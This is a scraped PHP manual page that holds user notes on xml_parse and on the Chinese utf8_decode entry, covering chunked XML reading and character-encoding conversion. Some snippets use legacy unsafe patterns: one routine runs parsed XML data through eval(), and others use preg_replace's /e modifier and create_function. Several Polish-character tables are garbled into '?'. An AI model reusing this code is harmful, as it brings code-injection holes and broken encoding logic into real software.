while ($data = str_replace("\n","",fread($fp, 4096))){
 // ...
}
?>

instead of:

<?php
while ($data = fread($fp, 4096)) {
  // ...
}
?>

[UPDATE 17-FEB-2003: This post] resulted in some of the visitors e-mailg me on the carriage return stripping issue with questions. I'll try to make the following mumble as brief and easy to understand as possible.

1. Overview of the 4096 fragmentation issue
As you know the following freads the file 4096 bytes at a time (that is 4KB) this is perhaps ok for testing expat and figuring out how things work, but it it rather dangerous in the production environment. Data may not be fully understandable due to fread fragmentation and improperly formatted due to numerous sources(formats) of data contained within (i.e. end of line delimited CDATA).

<?php
while ($data = fread($fp, 4096)) {
  if (!xml_parse($xml_parser, $data, feof($fp))) {
    // ...
  }
}
?>

Sometimes to save time one may want to load it all up into a one big variable and leave all the worries to expat. I think anything under 500 KB is ok (as long as nobody knows about it). Some may argue that larger variables are acceptable or even necessary because of the magic that take place while parsing using xml_parse. Our XML parser(expat) works and can be successfully implemented only when we know what type of XML data we are dealing with, it's average size and structure of general layout and data contained within tags. For example if the tags are followed by a line delimiter like a new line we can read it with fgets in and with minimal effort make sure that no data will be sent to the function that does not end with a end tag. But this require a fair knowledge of the file's preference for storing XML data and tags (and a bit of code between reading data and xml_parse'ing it).
It will save you a headache.

2. Pre Parser Strings and New Line Delimited Data
One important thing to note at this point is that the xml_parse function requires a string variable. You can manipulate the content of any string variable easily as we all know.

A better approach to removing newlines than:

<?php
while ($data = fread($fp, 4096)) {
$data = preg_replace("/\n|\r/","",$data); //flarp
if (!xml_parse($xml_parser, $data, feof($fp))) {...
?>

Above works across all 3 line-delimited text files  (\n, \r, \r\n). But this could potentially (or will most likely) damage or scramble data contained in for example CDATA areas. As far as I am concerned end of line characters should not be used _within_ XML tags. What seems to be the ultimate solution is to pre-parse the loaded data this would require checking the position within the XML document and adding or subtracting (using a in-between fread temporary variable) data based on conditions like: "Is within tag", "Is within CDATA" etc. before fedding it to the parser. This of course opens up a new can of worms (as in parse data for the parser...). (above procedure would take place between fread and xml_parser calls this method would be compatible with the general usage examples on top of the page)

3. The Answer to parsing arbitrary XML and Preprocessor Revisited
You can't just feed any XML document to the parser you constructed and assuming that it will work! You have to know what kind of methods for storing data are used, for example is there a end of line delimited data in the  file ?, Are there any carriage returns in the tags etc... XML files come formatted in different ways some are just a one long string of characters with out any end of line markers others have newlines, carriage returns or both (Microsloth Windows). May or may not contain space and other whitespace between tags. For this reason it is important to what I call Normalize the data before feeding it to the parser. You can perform this with regular expressions or plain old str_replace and concatenation. In many cases this can be done to the file it self sometimes to string data on the fly( as shown in the example above). But I feel it is important to normalize the data before even calling the function to call xml_parse. If you have the ability to access all data before that call you can convert it to what you fell the data should have been in the first place and omit many surprises and expensive regular expression substitution (in a tight spot) while fread'ing the data.
guy at bhaktiandvedanta dot com 27-Sep-2002 12:01
For a simple XML parser you can use this function. It doesn't require any extensions to run.

<?php
// Extracts content from XML tag

function GetElementByName ($xml, $start, $end) {

    global $pos;
    $startpos = strpos($xml, $start);
    if ($startpos === false) {
        return false;
    }
    $endpos = strpos($xml, $end);
    $endpos = $endpos+strlen($end);
    $pos = $endpos;
    $endpos = $endpos-$startpos;
    $endpos = $endpos - strlen($end);
    $tag = substr ($xml, $startpos, $endpos);
    $tag = substr ($tag, strlen($start));

    return $tag;

}

// Open and read xml file. You can replace this with your xml data.

$file = "data.xml";
$pos = 0;
$Nodes = array();

if (!($fp = fopen($file, "r"))) {
    die("could not open XML input");
}
while ($getline = fread($fp, 4096)) {
    $data = $data . $getline;
}

$count = 0;
$pos = 0;

// Goes throw XML file and creates an array of all <XML_TAG> tags.
while ($node = GetElementByName($data, "<XML_TAG>", "</XML_TAG>")) {
    $Nodes[$count] = $node;
    $count++;
    $data = substr($data, $pos);
}

// Gets infomation from tag siblings.
for ($i=0; $i<$count; $i++) {
$code = GetElementByName($Nodes[$i], "<Code>", "</Code>");
$desc = GetElementByName($Nodes[$i], "<Description>", "</Description>");
$price = GetElementByName($Nodes[$i], "<BasePrice>", "</BasePrice>");
}
?>

Hope this helps! :)
Guy Laor
dmarsh dot NO dot SPAM dot PLEASE at spscc dot ctc dot edu 18-Sep-2002 12:27
Some reference code I am working on as "XML Library" of which I am folding it info an object. Notice the use of the DEFINE:

Mainly Example 1 and parts of 2 & 3 re-written as an object:
--- MyXMLWalk.lib.php ---
<?php

if (!defined("PHPXMLWalk")) {
define("PHPXMLWalk",TRUE);

class XMLWalk {
 var $p; //short for xml parser;
 var $e; //short for element stack/array

  function prl($x,$i=0) {
    ob_start();
    print_r($x);
    $buf=ob_get_contents();
    ob_end_clean();
    return join("\n".str_repeat(" ",$i),split("\n",$buf));
  }

 function XMLWalk() {
  $this->p = xml_parser_create();
  $this->e = array();
  xml_parser_set_option($this->p, XML_OPTION_CASE_FOLDING, true);
  xml_set_element_handler($this->p, array(&$this, "startElement"), array(&$this, "endElement"));
  xml_set_character_data_handler($this->p, array(&$this, "dataElement"));
  register_shutdown_function(array(&$this, "free")); // make a destructor
  }

  function startElement($parser, $name, $attrs) {
    if (count($attrs)>=1) {
      $x = $this->prl($attrs, $this->e[$parser]+6);
    } else {
      $x = "";
    }

    print str_repeat(" ",$this->e[$parser]+0). "$name $x\n";
    $this->e[$parser]++;
    $this->e[$parser]++;
  }

  function dataElement($parser, $data) {
    print str_repeat(" ",$this->e[$parser]+0). htmlspecialchars($data, ENT_QUOTES) ."\n";
  }

  function endElement($parser, $name) {
    $this->e[$parser]--;
    $this->e[$parser]--;
  }
  function parse($data, $fp) {
    if (!xml_parse($this->p, $data, feof($fp))) {
        die(sprintf("XML error: %s at line %d",
                    xml_error_string(xml_get_error_code($this->p)),
                    xml_get_current_line_number($this->p)));
    }
  }

  function free() {
    xml_parser_free($this->p);
  }

} // end of class

} // end of define

?>

--- end of file ---

Calling code:
<?php

...

require("MyXMLWalk.lib.php");

$file = "x.xml";

$xme = new XMLWalk;

if (!($fp = fopen($file, "r"))) {
    die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
  $xme->parse($data, $fp);
}

...
?>
jon at gettys dot org 14-Aug-2002 01:59
[Editor's note: see also xml_parse_into_struct().]

Very simple routine to convert an XML file into a PHP structure. $obj->xml contains the resulting PHP structure. I would be interested if someone could suggest a cleaner method than the evals I am using.

<?php
$filename = 'sample.xml';
$obj->tree = '$obj->xml';
$obj->xml = '';

function startElement($parser, $name, $attrs) {
    global $obj;

    // If var already defined, make array
    eval('$test=isset('.$obj->tree.'->'.$name.');');
    if ($test) {
      eval('$tmp='.$obj->tree.'->'.$name.';');
      eval('$arr=is_array('.$obj->tree.'->'.$name.');');
      if (!$arr) {
        eval('unset('.$obj->tree.'->'.$name.');');
        eval($obj->tree.'->'.$name.'[0]=$tmp;');
        $cnt = 1;
      }
      else {
        eval('$cnt=count('.$obj->tree.'->'.$name.');');
      }

      $obj->tree .= '->'.$name."[$cnt]";
    }
    else {
      $obj->tree .= '->'.$name;
    }
    if (count($attrs)) {
        eval($obj->tree.'->attr=$attrs;');
    }
}

function endElement($parser, $name) {
    global $obj;
    // Strip off last ->
    for($a=strlen($obj->tree);$a>0;$a--) {
        if (substr($obj->tree, $a, 2) == '->') {
            $obj->tree = substr($obj->tree, 0, $a);
            break;
        }
    }
}

function characterData($parser, $data) {
    global $obj;

    eval($obj->tree.'->data=\''.$data.'\';');
}

$xml_parser = xml_parser_create();
xml_set_element_handler($xml_parser, "startElement", "endElement");
xml_set_character_data_handler($xml_parser, "characterData");
if (!($fp = fopen($filename, "r"))) {
    die("could not open XML input");
}

while ($data = fread($fp, 4096)) {
    if (!xml_parse($xml_parser, $data, feof($fp))) {
        die(sprintf("XML error: %s at line %d",
                    xml_error_string(xml_get_error_code($xml_parser)),
                    xml_get_current_line_number($xml_parser)));
    }
}
xml_parser_free($xml_parser);
print_r($obj->xml);
return 0;

?>
hans dot schneider at bbdo-interone dot de 24-Jan-2002 08:43
I had to TRIM the data when I passed one large String containig a wellformed XML-File to xml_parse. The String was read by CURL, which aparently put a BLANK at the end of the String. This BLANK produced a "XML not wellformed"-Error in xml_parse!
sam at cwa dot co dot nz 28-Sep-2000 07:39
I've discovered some unusual behaviour in this API when ampersand entities are parsed in cdata; for some reason the parser breaks up the section around the entities, and calls the handler repeated times for each of the sections. If you don't allow for this oddity and you are trying to put the cdata into a variable, only the last part will be stored.

You can get around this with a line like:

$foo .= $cdata;

If the handler is called several times from the same tag, it will append them, rather than rewriting the variable each time. If the entire cdata section is returned, it doesn't matter.

May happen for other entities, but I haven't investigated.

Took me a while to figure out what was happening; hope this saves someone else the trouble.
Daniel dot Rendall at btinternet dot com 07-Jul-1999 10:21
When using the XML parser, make sure you're not using the magic quotes option (e.g. use set_magic_quotes_runtime(0) if it's not the compiled default), otherwise you'll get 'not well-formed' errors when dealing with tags with attributes set in them.


将用 UTF-8 方式编码的 ISO-8859-1 字符串转换成单字节的 ISO-8859-1 字符串。

  • ? XML 解析器函数
  • utf8_encode ?
  • PHP Manual
  • XML 解析器函数
  • 将用 UTF-8 方式编码的 ISO-8859-1 字符串转换成单字节的 ISO-8859-1 字符串。

utf8_decode

(PHP 4, PHP 5, PHP 7)

utf8_decode — 将用 UTF-8 方式编码的 ISO-8859-1 字符串转换成单字节的 ISO-8859-1 字符串。

描述

utf8_decode ( string $data ) : string

该函数将用 UTF-8 编码的数据解码为 ISO-8859-1 编码。

请参阅 utf8_encode() 以查看关于 UTF-8 编码的解释。

User Contributed Notes

Aleksandr 30-Jun-2017 02:46
In addition to note by yannikh at gmeil dot com, another way to decode strings with non-latin chars from unix console like

C=RU, L=\xD0\x9C\xD0\xBE\xD1\x81\xD0\xBA\xD0\xB2\xD0\xB0,

<?php preg_replace_callback('/\\\\x([0-9A-F]{2})/', function($a){ return pack('H*', $a[1]); }, $str); ?>

The code above will output:
C=RU, L=Москва,
kode68 02-May-2016 06:09
Update Answer from okx dot oliver dot koenig at gmail dot com for PHP 5.6 since e/ modifier is depreciated

// This finally helped me to do the job, thanks to Blackbit, had to modify deprecated ereg:
// original comment: "Squirrelmail contains a nice function in the sources to convert unicode to entities:"

function charset_decode_utf_8($string)
    {
        /* Only do the slow convert if there are 8-bit characters */
        if ( !preg_match("/[\200-\237]/", $string) && !preg_match("/[\241-\377]/", $string) )
               return $string;

        // decode three byte unicode characters
          $string = preg_replace_callback("/([\340-\357])([\200-\277])([\200-\277])/",
                    create_function ('$matches', 'return \'&#\'.((ord($matches[1])-224)*4096+(ord($matches[2])-128)*64+(ord($matches[3])-128)).\';\';'),
                    $string);

        // decode two byte unicode characters
          $string = preg_replace_callback("/([\300-\337])([\200-\277])/",
                    create_function ('$matches', 'return \'&#\'.((ord($matches[1])-192)*64+(ord($matches[2])-128)).\';\';'),
                    $string);

        return $string;
    }

Enjoy
okx dot oliver dot koenig at gmail dot com 08-Feb-2015 11:48
// This finally helped me to do the job, thanks to Blackbit, had to modify deprecated ereg:
// original comment: "Squirrelmail contains a nice function in the sources to convert unicode to entities:"

function charset_decode_utf_8 ($string) {
    /* Only do the slow convert if there are 8-bit characters */
    /* avoid using 0xA0 (\240) in ereg ranges. RH73 does not like that */
    if (!preg_match("/[\200-\237]/", $string)
     && !preg_match("/[\241-\377]/", $string)
    ) {
        return $string;
    }

    // decode three byte unicode characters
    $string = preg_replace("/([\340-\357])([\200-\277])([\200-\277])/e",
        "'&#'.((ord('\\1')-224)*4096 + (ord('\\2')-128)*64 + (ord('\\3')-128)).';'",
        $string
    );

    // decode two byte unicode characters
    $string = preg_replace("/([\300-\337])([\200-\277])/e",
        "'&#'.((ord('\\1')-192)*64+(ord('\\2')-128)).';'",
        $string
    );

    return $string;
}
sashott at gmail dot com 04-Dec-2014 11:57
Use of utf8_decode was not enough for me by get page content from another site. Problem appear by different alphabet from standard latin. As example some chars (corresponding to HTML codes &bdquo; , &nbsp; and others) are converted to "?" or "xA0" (hex value). You need to make some conversion before execute utf8_decode. And you can not replace simple, that they can be part of 2 bytes code for a char (UTF-8 use 2 bytes). Next is for cyrillic alphabet, but for other must be very close.

function convertMethod($text){
    //Problem is that utf8_decode convert HTML chars for &bdquo; and other to ? or &nbsp; to \xA0. And you can not replace, that they are in some char bytes and you broke cyrillic (or other alphabet) chars.
    $problem_enc=array(
        'euro',
        'sbquo',
        'bdquo',
        'hellip',
        'dagger',
        'Dagger',
        'permil',
        'lsaquo',
        'lsquo',
        'rsquo',
        'ldquo',
        'rdquo',
        'bull',
        'ndash',
        'mdash',
        'trade',
        'rsquo',
        'brvbar',
        'copy',
        'laquo',
        'reg',
        'plusmn',
        'micro',
        'para',
        'middot',
        'raquo',
        'nbsp'
    );
    $text=mb_convert_encoding($text,'HTML-ENTITIES','UTF-8');
    $text=preg_replace('#(?<!\&ETH;)\&('.implode('|',$problem_enc).');#s','--amp{$1}',$text);
    $text=mb_convert_encoding($text,'UTF-8','HTML-ENTITIES');
    $text=utf8_decode($text);
    $text=mb_convert_encoding($text,'HTML-ENTITIES','UTF-8');
    $text=preg_replace('#\-\-amp\{([^\}]+)\}#su','&$1;',$text);
    $text=mb_convert_encoding($text,'UTF-8','HTML-ENTITIES');
    return $text;
}

If this don't work, try to set "die($text);" on some places to look, what is happen to this row. Is better to test with long text. It is very possible to broke other alphabet character. In this case, it is very possible, that for you alphabet set "&ETH;" is not the right one. You need to set "die($text);" after this preg_replace and look HTML code for character before set "--amp".
christoffer 29-Oct-2012 10:35
The preferred way to use this on an array would be with the built in PHP function "array_map()", as for example:
$array = array_map("utf8_decode", $array);
deceze at gmail dot com 14-Jul-2011 07:01
Please note that utf8_decode simply converts a string encoded in UTF-8 to ISO-8859-1. A more appropriate name for it would be utf8_to_iso88591. If your text is already encoded in ISO-8859-1, you do not need this function. If you don't want to use ISO-8859-1, you do not need this function.

Note that UTF-8 can represent many more characters than ISO-8859-1. Trying to convert a UTF-8 string that contains characters that can't be represented in ISO-8859-1 to ISO-8859-1 will garble your text and/or cause characters to go missing. Trying to convert text that is not encoded in UTF-8 using this function will most likely garble the text.

If you need to convert any text from any encoding to any other encoding, look at iconv() instead.
gabriel arobase gabsoftware dot com 12-Jun-2011 08:41
If you want to retrieve some UTF-8 data from your database, you don't need utf8_decode().

Simply do the following query before any SELECT :

$result = mysql_query("SET NAMES utf8");
info at vanylla dot it 26-Jan-2009 12:21
IMPORTANT: when converting UTF8 data that contains the EURO sign DON'T USE utf_decode function.

utf_decode converts the data into ISO-8859-1 charset. But ISO-8859-1 charset does not contain the EURO sign, therefor the EURO sign will be converted into a question mark character '?'

In order to convert properly UTF8 data with EURO sign you must use:

iconv("UTF-8", "CP1252", $data)
Blackbit 12-Aug-2008 04:40
Squirrelmail contains a nice function in the sources to convert unicode to entities:

<?php
function charset_decode_utf_8 ($string) {
      /* Only do the slow convert if there are 8-bit characters */
    /* avoid using 0xA0 (\240) in ereg ranges. RH73 does not like that */
    if (! ereg("[\200-\237]", $string) and ! ereg("[\241-\377]", $string))
        return $string;

    // decode three byte unicode characters
    $string = preg_replace("/([\340-\357])([\200-\277])([\200-\277])/e",        \
    "'&#'.((ord('\\1')-224)*4096 + (ord('\\2')-128)*64 + (ord('\\3')-128)).';'",    \
    $string);

    // decode two byte unicode characters
    $string = preg_replace("/([\300-\337])([\200-\277])/e", \
    "'&#'.((ord('\\1')-192)*64+(ord('\\2')-128)).';'", \
    $string);

    return $string;
}
?>
punchivan at gmail dot com 24-Jun-2008 02:13
EY! the bug is not in the function 'utf8_decode'. The bug is in the function 'mb_detect_encoding'. If you put a word with a special char at the end like this 'accentué', that will lead to a wrong result (UTF-8) but if you put another char at the end like this 'accentuée' you will get it right. So you should always add a ISO-8859-1 character to your string for this check. My advise is to use a blank space.
I′ve tried it and it works!

function ISO_convert($array)
{
    $array_temp = array();

    foreach($array as $name => $value)
    {
        if(is_array($value))
          $array_temp[(mb_detect_encoding($name." ",'UTF-8,ISO-8859-1') == 'UTF-8' ? utf8_decode($name) : $name )] = ISO_convert($value);
        else
          $array_temp[(mb_detect_encoding($name." ",'UTF-8,ISO-8859-1') == 'UTF-8' ? utf8_decode($name) : $name )] = (mb_detect_encoding($value." ",'UTF-8,ISO-8859-1') == 'UTF-8' ? utf8_decode($value) : $value );
    }

    return $array_temp;
}
haugas at gmail dot com 08-May-2008 02:11
If you don't know exactly, how many times your string is encoded, you can use this function:

<?php

function _utf8_decode($string)
{
  $tmp = $string;
  $count = 0;
  while (mb_detect_encoding($tmp)=="UTF-8")
  {
    $tmp = utf8_decode($tmp);
    $count++;
  }

  for ($i = 0; $i < $count-1 ; $i++)
  {
    $string = utf8_decode($string);

  }
  return $string;

}

?>
lukasz dot mlodzik at gmail dot com 05-Mar-2008 04:46
Update to MARC13 function utf2iso()
I'm using it to handle AJAX POST calls.
Despite using
http.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'; charset='utf-8');
it still code Polish letters using UTF-16

This is only for Polish letters:

<?php
function utf16_2_utf8 ($nowytekst) {
        $nowytekst = str_replace('%u0104','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0106','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0118','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0141','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0143','?',$nowytekst);    //?
        $nowytekst = str_replace('%u00D3','ó',$nowytekst);    //ó
        $nowytekst = str_replace('%u015A','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0179','?',$nowytekst);    //?
        $nowytekst = str_replace('%u017B','?',$nowytekst);    //?

        $nowytekst = str_replace('%u0105','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0107','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0119','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0142','?',$nowytekst);    //?
        $nowytekst = str_replace('%u0144','ń',$nowytekst);    //ń
        $nowytekst = str_replace('%u00F3','ó',$nowytekst);    //ó
        $nowytekst = str_replace('%u015B','?',$nowytekst);    //?
        $nowytekst = str_replace('%u017A','?',$nowytekst);    //?
        $nowytekst = str_replace('%u017C','?',$nowytekst);    //?
   return ($nowytekst);
   }
?>

Everything goes smooth, but it doesn't change '%u00D3','ó' and '%u00F3','ó'. I dont have idea what to do with that.

Remember! File must be saved in UTF-8 coding.
ludvig dot ericson at gmail dot com 15-Jul-2007 10:52
A better way to convert would be to use iconv, see http://www.php.net/iconv -- example:

<?php
$myUnicodeString = "???";
echo iconv("UTF-8", "ISO-8859-1", $myUnicodeString);
?>

Above would echo out the given variable in ISO-8859-1 encoding, you may replace it with whatever you prefer.

Another solution to the issue of misdisplayed glyphs is to simply send the document as UTF-8, and of course send UTF-8 data:

<?php
# Replace text/html with whatever MIME-type you prefer.
header("Content-Type: text/html; CHARSET=gb2312");
?>
MARC13 07-Jul-2007 07:50
I did this function to convert data from AJAX call to insert to my database.
It converts UTF-8 from XMLHttpRequest() to ISO-8859-2 that I use in LATIN2 MySQL database.

<?php
function utf2iso($tekst)
{
        $nowytekst = str_replace("%u0104","\xA1",$tekst);    //?
        $nowytekst = str_replace("%u0106","\xC6",$nowytekst);    //?
        $nowytekst = str_replace("%u0118","\xCA",$nowytekst);    //?
        $nowytekst = str_replace("%u0141","\xA3",$nowytekst);    //?
        $nowytekst = str_replace("%u0143","\xD1",$nowytekst);    //?
        $nowytekst = str_replace("%u00D3","\xD3",$nowytekst);    //ó
        $nowytekst = str_replace("%u015A","\xA6",$nowytekst);    //?
        $nowytekst = str_replace("%u0179","\xAC",$nowytekst);    //?
        $nowytekst = str_replace("%u017B","\xAF",$nowytekst);    //?

        $nowytekst = str_replace("%u0105","\xB1",$nowytekst);    //?
        $nowytekst = str_replace("%u0107","\xE6",$nowytekst);    //?
        $nowytekst = str_replace("%u0119","\xEA",$nowytekst);    //?
        $nowytekst = str_replace("%u0142","\xB3",$nowytekst);    //?
        $nowytekst = str_replace("%u0144","\xF1",$nowytekst);    //ń
        $nowytekst = str_replace("%u00D4","\xF3",$nowytekst);    //ó
        $nowytekst = str_replace("%u015B","\xB6",$nowytekst);    //?
        $nowytekst = str_replace("%u017A","\xBC",$nowytekst);    //?
        $nowytekst = str_replace("%u017C","\xBF",$nowytekst);    //?

    return ($nowytekst);
}
?>

In my case also the code file that deals with AJAX calls must be in UTF-8 coding.
visus at portsonline dot net 23-Jun-2007 09:08
Following code helped me with mixed (UTF8+ISO-8859-1(x)) encodings. In this case, I have template files made and maintained by designers who do not care about encoding and MySQL data in utf8_binary_ci encoded tables.

<?php

class Helper
{
    function strSplit($text, $split = 1)
    {
        if (!is_string($text)) return false;
        if (!is_numeric($split) && $split < 1) return false;

        $len = strlen($text);

        $array = array();

        $i = 0;

        while ($i < $len)
        {
            $key = NULL;

            for ($j = 0; $j < $split; $j += 1)
            {
                $key .= $text{$i};

                $i += 1;
            }

            $array[] = $key;
        }

        return $array;
    }

    function UTF8ToHTML($str)
    {
        $search = array();
        $search[] = "/([\\xC0-\\xF7]{1,1}[\\x80-\\xBF]+)/e";
        $search[] = "/&#228;/";
        $search[] = "/&#246;/";
        $search[] = "/&#252;/";
        $search[] = "/&#196;/";
        $search[] = "/&#214;/";
        $search[] = "/&#220;/";
        $search[] = "/&#223;/";

        $replace = array();
        $replace[] = 'Helper::_UTF8ToHTML("\\1")';
        $replace[] = "?";
        $replace[] = "?";
        $replace[] = "ü";
        $replace[] = "?";
        $replace[] = "?";
        $replace[] = "ü";
        $replace[] = "?";

        $str = preg_replace($search, $replace, $str);

        return $str;
    }

    function _UTF8ToHTML($str)
    {
        $ret = 0;

        foreach((Helper::strSplit(strrev(chr((ord($str{0}) % 252 % 248 % 240 % 224 % 192) + 128).substr($str, 1)))) as $k => $v)
            $ret += (ord($v) % 128) * pow(64, $k);
        return "&#".$ret.";";
    }
}

// Usage example:

$tpl = file_get_contents("template.tpl");
/* ... */
$row = mysql_fetch_assoc($result);

print(Helper::UTF8ToHTML(str_replace("{VAR}", $row['var'], $tpl)));

?>
luka8088 at gmail dot com 22-Jun-2007 07:03
simple UTF-8 to HTML conversion:

function utf8_to_html ($data)
    {
    return preg_replace("/([\\xC0-\\xF7]{1,1}[\\x80-\\xBF]+)/e", '_utf8_to_html("\\1")', $data);
    }

function _utf8_to_html ($data)
    {
    $ret = 0;
    foreach((str_split(strrev(chr((ord($data{0}) % 252 % 248 % 240 % 224 % 192) + 128) . substr($data, 1)))) as $k => $v)
        $ret += (ord($v) % 128) * pow(64, $k);
    return "&#$ret;";
    }

Example:
echo utf8_to_html("a b ? ? ? こ に ち わ ()[]{}!#$?*");

Output:
a b &#269; &#263; &#382; &#12371; &#12395; &#12385; &#12431; ()[]{}!#$?*
Sadi 13-Jun-2007 03:38
Once again about polish letters. If you use fananf's solution, make sure that PHP file is coded with cp1250 or else it won't work. It's quite obvious, however I spent some time before I finally figured that out, so I thought I post it here.
alexlevin at kvadro dot net 20-May-2007 08:20
If you running Gentoo Linux and encounter problems with some PHP4 applications saying:
Call to undefined function: utf8_decode()
Try reemerge PHP4 with 'expat' flag enabled.
sam 06-Feb-2007 08:20
In addition to yannikh's note, to convert a hex utf8 string

<?php

echo utf8_decode("\x61\xc3\xb6\x61");
// works as expected

$abc="61c3b661";
$newstr = "";
$l = strlen($abc);
for ($i=0;$i<$l;$i+=2){
    $newstr .= "\x".$abc[$i].$abc[$i+1];
}
echo utf8_decode($newstr);
// or varieties  of "\x": "\\x" etc does NOT output what you want

echo utf8_decode(pack('H*',$abc));
// this outputs the correct string, like the first line.

?>
Ajgor 28-Dec-2006 05:38
small upgrade for polish decoding:

function utf82iso88592($text) {
 $text = str_replace("\xC4\x85", '?', $text);
 $text = str_replace("\xC4\x84", '?', $text);
 $text = str_replace("\xC4\x87", '?', $text);
 $text = str_replace("\xC4\x86", '?', $text);
 $text = str_replace("\xC4\x99", '?', $text);
 $text = str_replace("\xC4\x98", '?', $text);
 $text = str_replace("\xC5\x82", '?', $text);
 $text = str_replace("\xC5\x81", '?', $text);
 $text = str_replace("\xC3\xB3", 'ó', $text);
 $text = str_replace("\xC3\x93", 'ó', $text);
 $text = str_replace("\xC5\x9B", '?', $text);
 $text = str_replace("\xC5\x9A", '?', $text);
 $text = str_replace("\xC5\xBC", '?', $text);
 $text = str_replace("\xC5\xBB", '?', $text);
 $text = str_replace("\xC5\xBA", '?', $text);
 $text = str_replace("\xC5\xB9", '?', $text);
 $text = str_replace("\xc5\x84", 'ń', $text);
 $text = str_replace("\xc5\x83", '?', $text);

return $text;
} // utf82iso88592
paul.hayes at entropedia.co.uk 27-Oct-2006 07:10
I noticed that the utf-8 to html functions below are only for 2 byte long codes. Well I wanted 3 byte support (sorry haven't done 4, 5 or 6). Also I noticed the concatination of the character codes did have the hex prefix 0x and so failed with the large 2 byte codes)

<?
  public function utf2html (&$str) {

    $ret = "";
    $max = strlen($str);
    $last = 0;  // keeps the index of the last regular character
    for ($i=0; $i<$max; $i++) {
        $c = $str{$i};
        $c1 = ord($c);
        if ($c1>>5 == 6) {  // 110x xxxx, 110 prefix for 2 bytes unicode
            $ret .= substr($str, $last, $i-$last); // append all the regular characters we've passed
            $c1 &= 31; // remove the 3 bit two bytes prefix
            $c2 = ord($str{++$i}); // the next byte
            $c2 &= 63;  // remove the 2 bit trailing byte prefix
            $c2 |= (($c1 & 3) << 6); // last 2 bits of c1 become first 2 of c2
            $c1 >>= 2; // c1 shifts 2 to the right
            $ret .= "&#" . ($c1 * 0x100 + $c2) . ";"; // this is the fastest string concatenation
            $last = $i+1;
        }
        elseif ($c1>>4 == 14) {  // 1110 xxxx, 110 prefix for 3 bytes unicode
            $ret .= substr($str, $last, $i-$last); // append all the regular characters we've passed
            $c2 = ord($str{++$i}); // the next byte
            $c3 = ord($str{++$i}); // the third byte
            $c1 &= 15; // remove the 4 bit three bytes prefix
            $c2 &= 63;  // remove the 2 bit trailing byte prefix
            $c3 &= 63;  // remove the 2 bit trailing byte prefix
            $c3 |= (($c2 & 3) << 6); // last 2 bits of c2 become first 2 of c3
            $c2 >>=2; //c2 shifts 2 to the right
            $c2 |= (($c1 & 15) << 4); // last 4 bits of c1 become first 4 of c2
            $c1 >>= 4; // c1 shifts 4 to the right
            $ret .= '&#' . (($c1 * 0x10000) + ($c2 * 0x100) + $c3) . ';'; // this is the fastest string concatenation
            $last = $i+1;
        }
    }
    $str=$ret . substr($str, $last, $i); // append the last batch of regular characters
}
?>
tobias at code-x dot de 20-Oct-2006 05:13
converting uft8-html sign &#301; to uft8

<?
function uft8html2utf8( $s ) {
        if ( !function_exists('uft8html2utf8_callback') ) {
             function uft8html2utf8_callback($t) {
                     $dec = $t[1];
            if ($dec < 128) {
              $utf = chr($dec);
            } else if ($dec < 2048) {
              $utf = chr(192 + (($dec - ($dec % 64)) / 64));
              $utf .= chr(128 + ($dec % 64));
            } else {
              $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
              $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
              $utf .= chr(128 + ($dec % 64));
            }
            return $utf;
             }
        }
        return preg_replace_callback('|&#([0-9]{1,});|', 'uft8html2utf8_callback', $s );
}
echo uft8html2utf8('test: &#301;');
?>
2ge at NO2geSPAM dot us 26-Jan-2006 01:00
Hello all,

I like to use COOL (nice) URIs, example: http://example.com/try-something
I'm using UTF8 as input, so I have to write a function UTF8toASCII to have nice URI. Here is what I come with:

<?php
function urlize($url) {
 $search = array('/[^a-z0-9]/', '/--+/', '/^-+/', '/-+$/' );
 $replace = array( '-', '-', '', '');
 return preg_replace($search, $replace, utf2ascii($url));
}

function utf2ascii($string) {
 $iso88591  = "\\xE0\\xE1\\xE2\\xE3\\xE4\\xE5\\xE6\\xE7";
 $iso88591 .= "\\xE8\\xE9\\xEA\\xEB\\xEC\\xED\\xEE\\xEF";
 $iso88591 .= "\\xF0\\xF1\\xF2\\xF3\\xF4\\xF5\\xF6\\xF7";
 $iso88591 .= "\\xF8\\xF9\\xFA\\xFB\\xFC\\xFD\\xFE\\xFF";
 $ascii = "aaaaaaaceeeeiiiidnooooooouuuuyyy";
 return strtr(mb_strtolower(utf8_decode($string), 'ISO-8859-1'),$iso88591,$ascii);
}

echo urlize("Fucking ?m?l");

?>

I hope this helps someone.
php-net at ---NOSPAM---lc dot yi dot org 08-Dec-2005 12:04
I've just created this code snippet to improve the user-customizable emails sent by one of my websites.

The goal was to use UTF-8 (Unicode) so that non-english users have all the Unicode benefits, BUT also make life seamless for English (or specifically, English MS-Outlook users).  The niggle: Outlook prior to 2003 (?)  does not properly detect unicode emails.  When "smart quotes" from MS Word were pasted into a rich text area and saved in Unicode, then sent by email to an Outlook user, more often than not, these characters were wrongly rendered as "greek".

So, the following code snippet replaces a few strategic characters into html entities which Outlook XP (and possibly earlier) will render as expected.  [Code based on bits of code from previous posts on this and the htmlenties page]
<?php
    $badwordchars=array(
        "\xe2\x80\x98", // left single quote
        "\xe2\x80\x99", // right single quote
        "\xe2\x80\x9c", // left double quote
        "\xe2\x80\x9d", // right double quote
        "\xe2\x80\x94", // em dash
        "\xe2\x80\xa6" // elipses
    );
    $fixedwordchars=array(
        "&#8216;",
        "&#8217;",
        '&#8220;',
        '&#8221;',
        '&mdash;',
        '&#8230;'
    );
    $html=str_replace($badwordchars,$fixedwordchars,$html);
?>
yannikh at gmeil dot com 07-Dec-2005 11:34
I had to tackle a very interesting problem:

I wanted to replace all \xXX in a text by it's letters. Unfortunatelly XX were ASCII and not utf8. I solved my problem that way:
<?php preg_replace ('/\\\\x([0-9a-fA-F]{2})/e', "pack('H*',utf8_decode('\\1'))",$v); ?>
thierry.bo # netcourrier point com 30-Sep-2005 12:38
